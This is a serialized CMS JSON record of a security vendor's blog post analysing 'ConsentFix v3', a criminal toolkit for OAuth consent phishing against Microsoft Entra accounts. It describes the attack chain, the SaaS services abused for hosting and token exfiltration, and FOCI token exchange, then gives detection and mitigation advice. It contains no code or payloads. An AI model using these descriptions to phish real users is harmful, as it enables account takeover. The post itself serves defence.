ent":68886,"nodeType":866},{},[68887],{"data":68888,"marks":68889,"value":63878,"nodeType":865},{},[],{"data":68891,"content":68892,"nodeType":953},{},[],{"data":68894,"content":68895,"nodeType":963},{},[68896],{"data":68897,"marks":68898,"value":63889,"nodeType":865},{},[68899],{"type":961},{"data":68901,"content":68902,"nodeType":866},{},[68903],{"data":68904,"marks":68905,"value":63896,"nodeType":865},{},[],{"data":68907,"content":68908,"nodeType":866},{},[68909],{"data":68910,"marks":68911,"value":63903,"nodeType":865},{},[],{"data":68913,"content":68914,"nodeType":1049},{},[68915,68928,68941,68954],{"data":68916,"content":68917,"nodeType":1003},{},[68918],{"data":68919,"content":68920,"nodeType":866},{},[68921,68925],{"data":68922,"marks":68923,"value":63917,"nodeType":865},{},[68924],{"type":961},{"data":68926,"marks":68927,"value":63921,"nodeType":865},{},[],{"data":68929,"content":68930,"nodeType":1003},{},[68931],{"data":68932,"content":68933,"nodeType":866},{},[68934,68938],{"data":68935,"marks":68936,"value":63932,"nodeType":865},{},[68937],{"type":961},{"data":68939,"marks":68940,"value":63936,"nodeType":865},{},[],{"data":68942,"content":68943,"nodeType":1003},{},[68944],{"data":68945,"content":68946,"nodeType":866},{},[68947,68951],{"data":68948,"marks":68949,"value":63947,"nodeType":865},{},[68950],{"type":961},{"data":68952,"marks":68953,"value":63951,"nodeType":865},{},[],{"data":68955,"content":68956,"nodeType":1003},{},[68957],{"data":68958,"content":68959,"nodeType":866},{},[68960,68964],{"data":68961,"marks":68962,"value":63962,"nodeType":865},{},[68963],{"type":961},{"data":68965,"marks":68966,"value":63966,"nodeType":865},{},[],{"data":68968,"content":68969,"nodeType":866},{},[68970],{"data":68971,"marks":68972,"value":63973,"nodeType":865},{},[],{"data":68974,"content":68975,"nodeType":1458},{},[68976],{"data":68977,"marks":68978,"value":63981,"nodeType":865},{},[68979],{"type":961},{"data":68981,"content":68982,"nodeType":866},{},[68983,68987],{"data":68984,"marks":68985,"value":63989,"nodeType":865},{},[68986],{"type":961},{"data":68988,"marks":68989,"value":63993,"nodeType":865},{},[],{"data":68991,"content":68992,"nodeType":866},{},[68993],{"data":68994,"marks":68995,"value":64000,"nodeType":865},{},[],{"data":68997,"content":68998,"nodeType":866},{},[68999],{"data":69000,"marks":69001,"value":64007,"nodeType":865},{},[],{"data":69003,"content":69006,"nodeType":925},{"target":69004},{"sys":69005},{"id":64012,"type":922,"linkType":923},[],{"data":69008,"content":69009,"nodeType":1458},{},[69010],{"data":69011,"marks":69012,"value":64021,"nodeType":865},{},[69013],{"type":961},{"data":69015,"content":69016,"nodeType":866},{},[69017],{"data":69018,"marks":69019,"value":64028,"nodeType":865},{},[],{"data":69021,"content":69022,"nodeType":866},{},[69023],{"data":69024,"marks":69025,"value":64035,"nodeType":865},{},[],{"data":69027,"content":69028,"nodeType":866},{},[69029],{"data":69030,"marks":69031,"value":64042,"nodeType":865},{},[],{"data":69033,"content":69034,"nodeType":866},{},[69035],{"data":69036,"marks":69037,"value":64049,"nodeType":865},{},[],{"data":69039,"content":69042,"nodeType":925},{"target":69040},{"sys":69041},{"id":64054,"type":922,"linkType":923},[],{"data":69044,"content":69045,"nodeType":1458},{},[69046],{"data":69047,"marks":69048,"value":64063,"nodeType":865},{},[69049],{"type":961},{"data":69051,"content":69052,"nodeType":866},{},[69053],{"data":69054,"marks":69055,"value":64070,"nodeType":865},{},[],{"data":69057,"content":69058,"nodeType":1049},{},[69059,69098],{"data":69060,"content":69061,"nodeType":1003},{},[69062],{"data":69063,"content":69064,"nodeType":866},{},[69065,69068,69075,69078,69085,69088,69095],{"data":69066,"marks":69067,"value":64083,"nodeType":865},{},[],{"data":69069,"content":69070,"nodeType":882},{"uri":8759},[69071],{"data":69072,"marks":69073,"value":19437,"nodeType":865},{},[69074],{"type":997},{"data":69076,"marks":69077,"value":64094,"nodeType":865},{},[],{"data":69079,"content":69080,"nodeType":882},{"uri":39517},[69081],{"data":69082,"marks":69083,"value":64102,"nodeType":865},{},[69084],{"type":997},{"data":69086,"marks":69087,"value":64106,"nodeType":865},{},[],{"data":69089,"content":69090,"nodeType":882},{"uri":64109},[69091],{"data":69092,"marks":69093,"value":64115,"nodeType":865},{},[69094],{"type":997},{"data":69096,"marks":69097,"value":64119,"nodeType":865},{},[],{"data":69099,"content":69100,"nodeType":1003},{},[69101],{"data":69102,"content":69103,"nodeType":866},{},[69104,69107,69114,69117,69124],{"data":69105,"marks":69106,"value":64129,"nodeType":865},{},[],{"data":69108,"content":69109,"nodeType":882},{"uri":64132},[69110],{"data":69111,"marks":69112,"value":64138,"nodeType":865},{},[69113],{"type":997},{"data":69115,"marks":69116,"value":64142,"nodeType":865},{},[],{"data":69118,"content":69119,"nodeType":882},{"uri":64145},[69120],{"data":69121,"marks":69122,"value":64151,"nodeType":865},{},[69123],{"type":997},{"data":69125,"marks":69126,"value":64155,"nodeType":865},{},[],{"data":69128,"content":69131,"nodeType":925},{"target":69129},{"sys":69130},{"id":64160,"type":922,"linkType":923},[],{"data":69133,"content":69134,"nodeType":953},{},[],{"data":69136,"content":69137,"nodeType":963},{},[69138],{"data":69139,"marks":69140,"value":64172,"nodeType":865},{},[69141],{"type":961},{"data":69143,"content":69144,"nodeType":866},{},[69145],{"data":69146,"marks":69147,"value":64179,"nodeType":865},{},[],{"data":69149,"content":69150,"nodeType":866},{},[69151,69154,69158],{"data":69152,"marks":69153,"value":64186,"nodeType":865},{},[],{"data":69155,"marks":69156,"value":64191,"nodeType":865},{},[69157],{"type":961},{"data":69159,"marks":69160,"value":64195,"nodeType":865},{},[],{"data":69162,"content":69163,"nodeType":866},{},[69164],{"data":69165,"marks":69166,"value":64202,"nodeType":865},{},[],{"data":69168,"content":69169,"nodeType":866},{},[69170],{"data":69171,"marks":69172,"value":64209,"nodeType":865},{},[],{"data":69174,"content":69177,"nodeType":925},{"target":69175},{"sys":69176},{"id":64214,"type":922,"linkType":923},[],{"data":69179,"content":69180,"nodeType":866},{},[69181,69184,69191],{"data":69182,"marks":69183,"value":64222,"nodeType":865},{},[],{"data":69185,"content":69186,"nodeType":882},{"uri":11342},[69187],{"data":69188,"marks":69189,"value":64230,"nodeType":865},{},[69190],{"type":997},{"data":69192,"marks":69193,"value":64234,"nodeType":865},{},[],{"data":69195,"content":69196,"nodeType":953},{},[],{"data":69198,"content":69199,"nodeType":963},{},[69200],{"data":69201,"marks":69202,"value":14438,"nodeType":865},{},[69203],{"type":961},{"data":69205,"content":69206,"nodeType":866},{},[69207],{"data":69208,"marks":69209,"value":64251,"nodeType":865},{},[],{"data":69211,"content":69214,"nodeType":925},{"target":69212},{"sys":69213},{"id":64256,"type":922,"linkType":923},[],{"data":69216,"content":69217,"nodeType":866},{},[69218,69221,69228],{"data":69219,"marks":69220,"value":64264,"nodeType":865},{},[],{"data":69222,"content":69223,"nodeType":882},{"uri":27049},[69224],{"data":69225,"marks":69226,"value":64272,"nodeType":865},{},[69227],{"type":997},{"data":69229,"marks":69230,"value":22525,"nodeType":865},{},[],{"data":69232,"content":69233,"nodeType":866},{},[69234],{"data":69235,"marks":69236,"value":64282,"nodeType":865},{},[],{"data":69238,"content":69239,"nodeType":866},{},[69240],{"data":69241,"marks":69242,"value":64289,"nodeType":865},{},[],{"data":69244,"content":69247,"nodeType":925},{"target":69245},{"sys":69246},{"id":64294,"type":922,"linkType":923},[],{"data":69249,"content":69250,"nodeType":953},{},[],{"data":69252,"content":69253,"nodeType":963},{},[69254],{"data":69255,"marks":69256,"value":3604,"nodeType":865},{},[69257],{"type":961},{"data":69259,"content":69260,"nodeType":866},{},[69261],{"data":69262,"marks":69263,"value":64312,"nodeType":865},{},[],{"data":69265,"content":69266,"nodeType":866},{},[69267],{"data":69268,"marks":69269,"value":64319,"nodeType":865},{},[],{"data":69271,"content":69274,"nodeType":925},{"target":69272},{"sys":69273},{"id":64324,"type":922,"linkType":923},[],{"data":69276,"content":69277,"nodeType":866},{},[69278],{"data":69279,"marks":69280,"value":64332,"nodeType":865},{},[],{"data":69282,"content":69285,"nodeType":925},{"target":69283},{"sys":69284},{"id":64337,"type":922,"linkType":923},[],{"data":69287,"content":69290,"nodeType":925},{"target":69288},{"sys":69289},{"id":64343,"type":922,"linkType":923},[],{"data":69292,"content":69293,"nodeType":866},{},[69294,69297,69301,69304,69308],{"data":69295,"marks":69296,"value":64351,"nodeType":865},{},[],{"data":69298,"marks":69299,"value":64356,"nodeType":865},{},[69300],{"type":961},{"data":69302,"marks":69303,"value":64360,"nodeType":865},{},[],{"data":69305,"marks":69306,"value":64365,"nodeType":865},{},[69307],{"type":961},{"data":69309,"marks":69310,"value":64369,"nodeType":865},{},[],{"data":69312,"content":69315,"nodeType":925},{"target":69313},{"sys":69314},{"id":64374,"type":922,"linkType":923},[],{"data":69317,"content":69318,"nodeType":1458},{},[69319,69322],{"data":69320,"marks":69321,"value":64382,"nodeType":865},{},[],{"data":69323,"marks":69324,"value":64387,"nodeType":865},{},[69325],{"type":961},{"data":69327,"content":69328,"nodeType":866},{},[69329],{"data":69330,"marks":69331,"value":64394,"nodeType":865},{},[],{"data":69333,"content":69334,"nodeType":866},{},[69335],{"data":69336,"marks":69337,"value":64401,"nodeType":865},{},[],{"data":69339,"content":69340,"nodeType":866},{},[69341,69344,69350,69353,69360,69363,69369],{"data":69342,"marks":69343,"value":32401,"nodeType":865},{},[],{"data":69345,"content":69346,"nodeType":882},{"uri":22700},[69347],{"data":69348,"marks":69349,"value":22706,"nodeType":865},{},[],{"data":69351,"marks":69352,"value":2186,"nodeType":865},{},[],{"data":69354,"content":69355,"nodeType":882},{"uri":22712},[69356],{"data":69357,"marks":69358,"value":32419,"nodeType":865},{},[69359],{"type":997},{"data":69361,"marks":69362,"value":22722,"nodeType":865},{},[],{"data":69364,"content":69365,"nodeType":882},{"uri":1728},[69366],{"data":69367,"marks":69368,"value":22730,"nodeType":865},{},[],{"data":69370,"marks":69371,"value":1048,"nodeType":865},{},[],{"items":69373},[69374,69376],{"sys":69375,"name":11426},{"id":11425},{"sys":69377,"name":342},{"id":8410},{"items":69379},[69380],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":69381},{"url":11434},"blog/introducing-the-browser-and-identity-attacks-matrix",{"json":69384},{"data":69385,"content":69386,"nodeType":1739},{},[69387],{"data":69388,"content":69389,"nodeType":866},{},[69390],{"data":69391,"marks":69392,"value":69393,"nodeType":865},{},[],"We're re-releasing the SaaS attack matrix as the Browser & Identity Attacks Matrix. Here's why we've decided to make the change and what you can expect to see more of in future.",{"id":15449,"publishedAt":69395},"2026-08-12T11:52:57.689Z",{"items":69397},[69398,69400],{"sys":69399,"name":11426},{"id":11425},{"sys":69401,"name":342},{"id":8410},{"items":69403},[69404,69406,69408,69410,69412,69414,69416,69418,69420,69422,69424,69426,69428,69430,69432,69434],{"sys":69405,"name":279,"slug":280,"tier":31},{"id":276},{"sys":69407,"name":413,"slug":414,"tier":31},{"id":410},{"sys":69409,"name":519,"slug":520,"tier":31},{"id":516},{"sys":69411,"name":642,"slug":643,"tier":31},{"id":639},{"sys":69413,"name":616,"slug":617,"tier":31},{"id":613},{"sys":69415,"name":261,"slug":262,"tier":45},{"id":258},{"sys":69417,"name":315,"slug":316,"tier":45},{"id":312},{"sys":69419,"name":360,"slug":361,"tier":45},{"id":357},{"sys":69421,"name":475,"slug":476,"tier":45},{"id":472},{"sys":69423,"name":511,"slug":512,"tier":45},{"id":508},{"sys":69425,"name":333,"slug":334,"tier":45},{"id":330},{"sys":69427,"name":422,"slug":423,"tier":45},{"id":419},{"sys":69429,"name":288,"slug":289,"tier":45},{"id":285},{"sys":69431,"name":484,"slug":485,"tier":45},{"id":481},{"sys":69433,"name":571,"slug":572,"tier":45},{"id":568},{"sys":69435,"name":448,"slug":449,"tier":45},{"id":445},"KeN5z465lyvbRDueJHHQu-xfDgeExBn9dQTgjMadkKc",{"id":69438,"title":69439,"authorsCollection":69440,"content":69445,"extension":228,"faqItemsCollection":70205,"faqTitle":59,"featured":6,"hashTags":59,"meta":70207,"metaTitle":70208,"ogImage":59,"postType":21460,"publishedDate":64438,"relatedBlogPostsCollection":70209,"slug":74743,"stem":74744,"subtitle":59,"summary":74745,"synopsis":74755,"sys":74762,"tagsCollection":74765,"topicsCollection":74771,"__hash__":74793},"blog/blog/consentfix-v3-analyzing-a-new-toolkit.json","ConsentFix v3: Analyzing a new criminal toolkit",{"items":69441},[69442],{"fullName":11430,"firstName":11431,"jobTitle":11432,"socialLinks":69443,"profilePicture":69444},[17536],{"url":11434},{"json":69446,"links":70004},{"data":69447,"content":69448,"nodeType":1739},{},[69449,69467,69474,69480,69487,69493,69512,69518,69524,69527,69535,69555,69561,69567,69573,69590,69597,69605,69612,69619,69626,69629,69637,69655,69678,69683,69688,69695,69702,69709,69712,69720,69738,69771,69778,69784,69787,69795,69802,69805,69812,69819,69827,69846,69866,69873,69879,69887,69894,69901,69904,69911,69918,69924,69941,69947,69954,69961,69968],{"data":69450,"content":69451,"nodeType":866},{},[69452,69456,69463],{"data":69453,"marks":69454,"value":69455,"nodeType":865},{},[],"In December 2025, we uncovered a state-sponsored campaign linked to Russian state-affiliated APT29 that used a new technique we called ",{"data":69457,"content":69458,"nodeType":882},{"uri":11102},[69459],{"data":69460,"marks":69461,"value":11095,"nodeType":865},{},[69462],{"type":997},{"data":69464,"marks":69465,"value":69466,"nodeType":865},{},[],". This technique merged ClickFix-style social engineering with OAuth consent phishing to hijack Microsoft accounts. Effectively, ConsentFix is a browser-native attack that results in account takeover, without the downside of needing to touch the endpoint like typical ClickFix (really, the point that it's most likely to be detected and blocked). ",{"data":69468,"content":69469,"nodeType":866},{},[69470],{"data":69471,"marks":69472,"value":69473,"nodeType":865},{},[],"The quick 101 is that victims are tricked into copy-and-pasting a legitimate Microsoft URL into the phishing page. This URL contains an OAuth authorization code that the attacker uses to sign in to a first-party Microsoft application like Azure CLI — specifically targeting apps with known Conditional Access exclusions. ",{"data":69475,"content":69479,"nodeType":925},{"target":69476},{"sys":69477},{"id":69478,"type":922,"linkType":923},"7s4kF5CUFUmdkhpzuwNalX",[],{"data":69481,"content":69482,"nodeType":866},{},[69483],{"data":69484,"marks":69485,"value":69486,"nodeType":865},{},[],"At the end of the attack chain, the attacker is effectively granted API access to the victim's Entra account, while sidestepping MFA (even passkeys), device compliance checks, and in some cases conditional access controls (depending on the application ID targeted by the attacker). ",{"data":69488,"content":69492,"nodeType":925},{"target":69489},{"sys":69490},{"id":69491,"type":922,"linkType":923},"IMtJXMWeaIbRsWxuQ1CaS",[],{"data":69494,"content":69495,"nodeType":866},{},[69496,69500,69508],{"data":69497,"marks":69498,"value":69499,"nodeType":865},{},[],"It didn’t take long for security researchers to jump on this new technique. Lots of contributors rallied round the security recommendations (which we covered in a ",{"data":69501,"content":69502,"nodeType":882},{"uri":19260},[69503],{"data":69504,"marks":69505,"value":69507,"nodeType":865},{},[69506],{"type":997},"follow-up blog post",{"data":69509,"marks":69510,"value":69511,"nodeType":865},{},[],") but the most notable contribution came from John Hammond, who took the attacker’s implementation and said “I can do better”. His v2 replaced a somewhat clunky implementation with a slick drag-and-drop function. But now, attackers have taken it one step further.",{"data":69513,"content":69517,"nodeType":925},{"target":69514},{"sys":69515},{"id":69516,"type":922,"linkType":923},"59tfJDRhGThKD48Wjg7uY2",[],{"data":69519,"content":69523,"nodeType":925},{"target":69520},{"sys":69521},{"id":69522,"type":922,"linkType":923},"6mEpyVD6f13ZttFmaBcxNm",[],{"data":69525,"content":69526,"nodeType":953},{},[],{"data":69528,"content":69529,"nodeType":963},{},[69530],{"data":69531,"marks":69532,"value":69534,"nodeType":865},{},[69533],{"type":961},"Introducing: ConsentFix v3",{"data":69536,"content":69537,"nodeType":866},{},[69538,69542,69551],{"data":69539,"marks":69540,"value":69541,"nodeType":865},{},[],"The latest development is that a member of the XSS criminal forum, a site strongly suspected to have ",{"data":69543,"content":69545,"nodeType":882},{"uri":69544},"https://flare.io/learn/resources/blog/state-of-the-dark-web-2026",[69546],{"data":69547,"marks":69548,"value":69550,"nodeType":865},{},[69549],{"type":997},"Russian state involvement",{"data":69552,"marks":69553,"value":69554,"nodeType":865},{},[],", has released a new tool “ConsentFix v3”, building on the v1 we saw in the wild, and John’s v2. ",{"data":69556,"content":69560,"nodeType":925},{"target":69557},{"sys":69558},{"id":69559,"type":922,"linkType":923},"4AW0UnBlIaXbIFZjy8ObY1",[],{"data":69562,"content":69566,"nodeType":925},{"target":69563},{"sys":69564},{"id":69565,"type":922,"linkType":923},"1b36XjqBpPx7wteBu6OA6h",[],{"data":69568,"content":69572,"nodeType":925},{"target":69569},{"sys":69570},{"id":69571,"type":922,"linkType":923},"4kbiWA3b096BAFGQuozPaK",[],{"data":69574,"content":69575,"nodeType":866},{},[69576,69580,69586],{"data":69577,"marks":69578,"value":69579,"nodeType":865},{},[],"It looks like broader cybercriminals are starting to take note of ConsentFix, and with the release of public tools like this one, it could be about to go mainstream — like ",{"data":69581,"content":69582,"nodeType":882},{"uri":1384},[69583],{"data":69584,"marks":69585,"value":29100,"nodeType":865},{},[],{"data":69587,"marks":69588,"value":69589,"nodeType":865},{},[]," has this year. ",{"data":69591,"content":69592,"nodeType":866},{},[69593],{"data":69594,"marks":69595,"value":69596,"nodeType":865},{},[],"Let’s take a closer look at some of the more interesting details of the ConsentFix v3 implementation before considering the bigger picture.  ",{"data":69598,"content":69599,"nodeType":1458},{},[69600],{"data":69601,"marks":69602,"value":69604,"nodeType":865},{},[69603],{"type":961},"ConsentFix v3 under the hood",{"data":69606,"content":69607,"nodeType":866},{},[69608],{"data":69609,"marks":69610,"value":69611,"nodeType":865},{},[],"The first thing that jumps out is just how detailed this forum post is. It reads like a security vendor blog post. It walks through the key technical concepts that the reader needs to know, breaking down OAuth grants, consent phishing, refresh tokens, and FOCI (or 'Family of Client IDs' — basically, the feature that allows attackers to use a refresh token obtained for one Microsoft app to be exchanged for access tokens to other FOCI apps without re-authentication). It then walks through the history of ClickFix and ConsentFix before providing step-by-step guidance for users. ",{"data":69613,"content":69614,"nodeType":866},{},[69615],{"data":69616,"marks":69617,"value":69618,"nodeType":865},{},[],"ConsentFix v3 allows users to instrument the entire attack chain, enabling users to spin up ConsentFix infrastructure, create believable personas with which to interact with victims, craft and manage email campaigns, and automate the process of exchanging the captured OAuth token for session and refresh tokens to establish access to the compromised account. ",{"data":69620,"content":69621,"nodeType":866},{},[69622],{"data":69623,"marks":69624,"value":69625,"nodeType":865},{},[],"A combination of SaaS and open-source tools are used to perform the attack, including Cloudflare Workers for hosting, ZoomInfo for target identification, Dropbox for PDF hosting, and Pipedream as an exfiltration channel (effectively creating a webhook to automatically exchange the OAuth material in the URL for a refresh token). They also use hacker tools like SpecterPortal for post exploitation activity.",{"data":69627,"content":69628,"nodeType":953},{},[],{"data":69630,"content":69631,"nodeType":963},{},[69632],{"data":69633,"marks":69634,"value":69636,"nodeType":865},{},[69635],{"type":961},"Why attackers are turning to OAuth-based attacks",{"data":69638,"content":69639,"nodeType":866},{},[69640,69644,69651],{"data":69641,"marks":69642,"value":69643,"nodeType":865},{},[],"Attackers are increasingly turning to OAuth based techniques in 2026. Not only are “legit” OAuth connections being abused in supply chain attacks, but attacks targeting OAuth mechanisms have significantly increased with the rise of ",{"data":69645,"content":69646,"nodeType":882},{"uri":1384},[69647],{"data":69648,"marks":69649,"value":29100,"nodeType":865},{},[69650],{"type":997},{"data":69652,"marks":69653,"value":69654,"nodeType":865},{},[],". This is because:",{"data":69656,"content":69657,"nodeType":1049},{},[69658,69668],{"data":69659,"content":69660,"nodeType":1003},{},[69661],{"data":69662,"content":69663,"nodeType":866},{},[69664],{"data":69665,"marks":69666,"value":69667,"nodeType":865},{},[],"OAuth attacks defeat standard access controls (including passkeys)",{"data":69669,"content":69670,"nodeType":1003},{},[69671],{"data":69672,"content":69673,"nodeType":866},{},[69674],{"data":69675,"marks":69676,"value":69677,"nodeType":865},{},[],"It’s very low friction, and less likely that users will identify it as phishing (see examples below)",{"data":69679,"content":69682,"nodeType":925},{"target":69680},{"sys":69681},{"id":69516,"type":922,"linkType":923},[],{"data":69684,"content":69687,"nodeType":925},{"target":69685},{"sys":69686},{"id":19332,"type":922,"linkType":923},[],{"data":69689,"content":69690,"nodeType":866},{},[69691],{"data":69692,"marks":69693,"value":69694,"nodeType":865},{},[],"From the user’s perspective, these aren’t situations that users are trained to treat as suspicious. In one case, the victim copies a URL (or simply drag-and-drops a box on the page). In another, they enter a short passcode that’s visible on the page. ",{"data":69696,"content":69697,"nodeType":866},{},[69698],{"data":69699,"marks":69700,"value":69701,"nodeType":865},{},[],"Both are using pop-up windows that look very convincing — and point to legitimate Microsoft pages/URLs. Even users scrutinizing the domain won’t see anything out of place. And as you can see, if the user is already signed into their Microsoft account in the browser, there’s no credential entry or MFA checks to pass through. Simply select your account from the drop down menu and … that’s it.",{"data":69703,"content":69704,"nodeType":866},{},[69705],{"data":69706,"marks":69707,"value":69708,"nodeType":865},{},[],"This unfamiliarity is the same reason that attacks like ClickFix have been so successful. In general, convincing social engineering — well crafted comms, legit-looking pages hosted on trusted sites — combined with unfamiliar payloads makes for a clever attack. And when these attacks play out entirely in the browser (circumventing endpoint controls) and sidestep identity controls, the impact is dialled up even further. ",{"data":69710,"content":69711,"nodeType":953},{},[],{"data":69713,"content":69714,"nodeType":963},{},[69715],{"data":69716,"marks":69717,"value":69719,"nodeType":865},{},[69718],{"type":961},"How ConsentFix and device code phishing overlap",{"data":69721,"content":69722,"nodeType":866},{},[69723,69727,69734],{"data":69724,"marks":69725,"value":69726,"nodeType":865},{},[],"It was only ever going to be a matter of time before ConsentFix was adopted by the mass market. But these things don’t always happen particularly fast. ",{"data":69728,"content":69729,"nodeType":882},{"uri":1384},[69730],{"data":69731,"marks":69732,"value":360,"nodeType":865},{},[69733],{"type":997},{"data":69735,"marks":69736,"value":69737,"nodeType":865},{},[]," is probably the best example of this — it’s been a known technique since 2021, but it took until this year to enter mainstream adoption. A big part of that has been the availability of criminal toolkits, and also the rise in AI-assisted capabilities for tool creation (clearly at play here too). The similarity with device code phishing doesn’t end there. ",{"data":69739,"content":69740,"nodeType":866},{},[69741,69745,69754,69758,69767],{"data":69742,"marks":69743,"value":69744,"nodeType":865},{},[],"Both ConsentFix and device code phishing are OAuth attacks. They both find ways of bypassing the standard login procedure (and controls) by targeting different authorization flows, but with a similar outcome and the same advantages to an attacker. Device code phishing exploits the device authorization grant (",{"data":69746,"content":69748,"nodeType":882},{"uri":69747},"https://datatracker.ietf.org/doc/html/rfc8628",[69749],{"data":69750,"marks":69751,"value":69753,"nodeType":865},{},[69752],{"type":997},"RFC 8628",{"data":69755,"marks":69756,"value":69757,"nodeType":865},{},[],"). ConsentFix exploits the authorization code grant (",{"data":69759,"content":69761,"nodeType":882},{"uri":69760},"https://datatracker.ietf.org/doc/html/rfc6749#section-4.1",[69762],{"data":69763,"marks":69764,"value":69766,"nodeType":865},{},[69765],{"type":997},"RFC 6749",{"data":69768,"marks":69769,"value":69770,"nodeType":865},{},[],") as implemented for native/desktop apps with localhost redirects. ",{"data":69772,"content":69773,"nodeType":866},{},[69774],{"data":69775,"marks":69776,"value":69777,"nodeType":865},{},[],"The post-compromise paths are essentially identical because the tokens you get are determined by which app you target, what scopes it has, and the victim user’s permissions, not by which OAuth flow you used to obtain them. The authorization code flow and the device code flow are just different front doors into the same token issuance system.",{"data":69779,"content":69783,"nodeType":925},{"target":69780},{"sys":69781},{"id":69782,"type":922,"linkType":923},"7np3j139dWMP7sLlUQwEFC",[],{"data":69785,"content":69786,"nodeType":953},{},[],{"data":69788,"content":69789,"nodeType":963},{},[69790],{"data":69791,"marks":69792,"value":69794,"nodeType":865},{},[69793],{"type":961},"The verdict: An interesting sign of what’s coming, but maybe not the final form",{"data":69796,"content":69797,"nodeType":866},{},[69798],{"data":69799,"marks":69800,"value":69801,"nodeType":865},{},[],"It’s clear that ConsentFix v3 isn’t exactly an industrialized PhaaS-scale offering. It’s probably closer to a red team-esque proof of concept. But it is a good example of how attackers could operationalize ConsentFix campaigns using largely off-the-shelf tooling and legit SaaS tools. And an indicator of what might be coming soon. ",{"data":69803,"content":69804,"nodeType":953},{},[],{"data":69806,"content":69807,"nodeType":963},{},[69808],{"data":69809,"marks":69810,"value":32248,"nodeType":865},{},[69811],{"type":961},{"data":69813,"content":69814,"nodeType":866},{},[69815],{"data":69816,"marks":69817,"value":69818,"nodeType":865},{},[],"To be able to tackle modern attacks like ConsentFix that occur entirely within the browser context, it is vital that organizations look to monitor the browser as a detection surface, hunt for signs of malicious activity, and block attacks in real-time — in the same way that you would expect EDR to work for endpoint attacks. We’ll talk about how we do this below, but first here’s some general recommendations. ",{"data":69820,"content":69821,"nodeType":1458},{},[69822],{"data":69823,"marks":69824,"value":69826,"nodeType":865},{},[69825],{"type":961},"Microsoft ecosystem",{"data":69828,"content":69829,"nodeType":866},{},[69830,69834,69842],{"data":69831,"marks":69832,"value":69833,"nodeType":865},{},[],"Despite the similarity with device code phishing, the ",{"data":69835,"content":69836,"nodeType":882},{"uri":32272},[69837],{"data":69838,"marks":69839,"value":69841,"nodeType":865},{},[69840],{"type":997},"primary recommendation from Microsoft for device code attacks",{"data":69843,"marks":69844,"value":69845,"nodeType":865},{},[]," — disable the device code flow via conditional access — doesn’t apply to ConsentFix (because, as mentioned, it uses a different login flow).",{"data":69847,"content":69848,"nodeType":866},{},[69849,69853,69862],{"data":69850,"marks":69851,"value":69852,"nodeType":865},{},[],"For both ConsentFix and device code phishing, the ",{"data":69854,"content":69856,"nodeType":882},{"uri":69855},"https://msendpointmgr.com/2026/01/08/consentfix-quickfix/",[69857],{"data":69858,"marks":69859,"value":69861,"nodeType":865},{},[69860],{"type":997},"strongest recommendation",{"data":69863,"marks":69864,"value":69865,"nodeType":865},{},[]," is to create Service Principals for each of the vulnerable apps and restrict the users that are authorized to access them to reduce the attack surface of users that can be phished with this method.",{"data":69867,"content":69868,"nodeType":866},{},[69869],{"data":69870,"marks":69871,"value":69872,"nodeType":865},{},[],"You should also hunt in logs for relevant application IDs and resource IDs, and look for mismatches in terms of the initial access IP and subsequent activity, because while the initial login is performed by the user, subsequent actions will be performed by the attacker.  ",{"data":69874,"content":69878,"nodeType":925},{"target":69875},{"sys":69876},{"id":69877,"type":922,"linkType":923},"49Y7NXpnAeAYe9fCp1oyKn",[],{"data":69880,"content":69881,"nodeType":1458},{},[69882],{"data":69883,"marks":69884,"value":69886,"nodeType":865},{},[69885],{"type":961},"Beyond Microsoft — Google, GitHub, Salesforce, AWS",{"data":69888,"content":69889,"nodeType":866},{},[69890],{"data":69891,"marks":69892,"value":69893,"nodeType":865},{},[],"It’s worth calling out that these recommendations are Microsoft specific. While in-the-wild exploitation has focused on Microsoft, GitHub, Salesforce, AWS and others are also impacted by device code phishing, supporting device code flow either as a primary or fallback mechanism (Google less so due to inherent restrictions on scopes authorized in the context of device code logins). ",{"data":69895,"content":69896,"nodeType":866},{},[69897],{"data":69898,"marks":69899,"value":69900,"nodeType":865},{},[],"Similarly, ConsentFix principles can be applied beyond Microsoft too. The core requirement is that an OAuth code ends up in a location the victim can manually see and share, e.g. a localhost redirect where no listener is present to complete the handshake. Google Cloud CLI, GitHub CLI, and others support the auth code grant and allow localhost as a redirect URI. ",{"data":69902,"content":69903,"nodeType":953},{},[],{"data":69905,"content":69906,"nodeType":963},{},[69907],{"data":69908,"marks":69909,"value":3604,"nodeType":865},{},[69910],{"type":961},{"data":69912,"content":69913,"nodeType":866},{},[69914],{"data":69915,"marks":69916,"value":69917,"nodeType":865},{},[],"We’re already detecting and blocking both ConsentFix and device code phishing attacks as they target users in their web browser. When a page matches our detections for a device code or ConsentFix phishing kit (not limited to things like known-bad IPs and domains, but DOM-level analysis of the web page) Push detects and blocks it. Unlike an SWG or RBI type solution, Push analyzes every web page in every browser session and tab, in real time, with no latency. ",{"data":69919,"content":69923,"nodeType":925},{"target":69920},{"sys":69921},{"id":69922,"type":922,"linkType":923},"63EwHbmFZVAlhoXl17Xjfi",[],{"data":69925,"content":69926,"nodeType":866},{},[69927,69930,69937],{"data":69928,"marks":69929,"value":32354,"nodeType":865},{},[],{"data":69931,"content":69932,"nodeType":882},{"uri":32357},[69933],{"data":69934,"marks":69935,"value":32363,"nodeType":865},{},[69936],{"type":997},{"data":69938,"marks":69939,"value":69940,"nodeType":865},{},[]," whenever a user accesses a URL used for device code logins, across any app that supports them. This provides universal, last-mile protection against even ‘zero-day’ device code phishing attacks using previously unidentified toolkits.  ",{"data":69942,"content":69946,"nodeType":925},{"target":69943},{"sys":69944},{"id":69945,"type":922,"linkType":923},"3baS2yqvJd2e4aczw73PTF",[],{"data":69948,"content":69949,"nodeType":866},{},[69950],{"data":69951,"marks":69952,"value":69953,"nodeType":865},{},[],"When a user visits those URLs, Push will also emit a webhook event that the banner was shown and acknowledged. If a user opts to proceed, you can treat this as a high-fidelity alert for your security team to investigate, providing app-agnostic telemetry that may not already be provided in your logs from that particular vendor. You can also simply use Push to block users from accessing these pages if you’re confident that disruption won’t be caused. ",{"data":69955,"content":69956,"nodeType":1458},{},[69957],{"data":69958,"marks":69959,"value":1704,"nodeType":865},{},[69960],{"type":961},{"data":69962,"content":69963,"nodeType":866},{},[69964],{"data":69965,"marks":69966,"value":69967,"nodeType":865},{},[],"Push Security's browser-based security platform detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, device code phishing, ClickFix, and session hijacking. You don't need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your attack 